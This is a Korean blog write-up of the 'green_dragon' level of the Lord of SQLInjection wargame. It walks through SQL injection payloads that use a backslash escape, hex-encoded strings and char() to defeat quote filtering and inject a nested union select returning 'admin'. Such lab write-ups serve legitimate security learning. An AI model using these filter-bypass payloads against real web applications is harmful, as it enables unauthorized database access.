이번 포스트에서는 Lord of SQLInjection의 green_dragon문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, ., ', "를 필터링하고 있다는 것을 알 수 있다.
또한 id의 값이 admin일때만 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
우선 "\"문자가 필터링 처리되지 않았으므로 "\"를 활용하여 공격을 시도해보겠다.
### 사용할 공격문 : id=\&pw= union select 0x61646d696e %23
### 실행 결과 :
"\"문자를 통해 id 파라미터의 값을 '\' and pw='로 만든 다음에 union문을 활용하여 select "admin"을 시도해보았지만 통하지 않았다.
union select를 통해 얻고자 한 값이 "admin"인데, "가 필터링 되었으므로 admin의 Hex값인 "0x61646d696e"를 사용했다.
좀 더 자세히 살펴보니 query만 출력되고 query2가 출력되지 않는 것을 알 수 있다. query2의 조건을 만족해야지 문제를 해결할 수 있으므로 query2의 조건을 만족시킬 수 있게 공격을 시도해보겠다.
### 사용할 공격문 : id=\&pw= union select 0x5c, 0x20756e696f6e2073656c6563742061646d696e %23
### 실행 결과 :
query2문까지 출력되는 것을 확인했는지만 문제는 여전히 풀지 못했다.
여러 시도 끝에 찾아낸 결과, admin을 ""로 감싸야 하는데, "가 필터링되었으므로 다른 방식으로 데이터를 전송해야 한다.
여기서는 char()를 사용해서 공격을 시도해보겠다.
### 사용할 공격문 : id=\&pw= union select 0x5c, 0x20756e696f6e2073656c65637420636861722839372c203130302c203130392c203130352c203131302923 %23
### 실행 결과 :
## 추가 해석 :
쿼리문 : id=\&pw= union select 0x5c, 0x20756e696f6e2073656c65637420636861722839372c203130302c203130392c203130352c203131302923 %23
최종적으로 달성해야하는 쿼리가 2번이지만, 2번을 달성하기 앞서 만족해야 할 쿼리가 1번이다. 즉 "union select id"가 아니라 "union select id, pw"처럼 id, pw 2개의 값을 전송해야 한다. 또한 전송된 pw값이 2번 쿼리의 result[pw]에 그대로 사용되기 때문에 2번 쿼리를 다음 처럼 만들어야 문제를 해결할 수 있다.
select id from prob_green_dragon where id='\' and pw=' union select char(97, 100, 109, 105, 110) #
여기서 pw에 들어가는 값이 " union select char(97, 100, 109, 105, 110)#"이기 때문에 union select문의 2번째 인자에 그대로 넣어주면 된다(물론 Hex값으로 변경해서).
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (27. blue_dragon) (0) | 2022.06.21 |
---|---|
Lord of SQLInjection (26. red_dragon) (0) | 2022.06.20 |
Lord of SQLInjection (24. evil_wizard) (0) | 2022.06.16 |
Lord of SQLInjection (23. hell_fire) (0) | 2022.06.13 |
Lord of SQLInjection (22. dark_eyes) (0) | 2022.06.12 |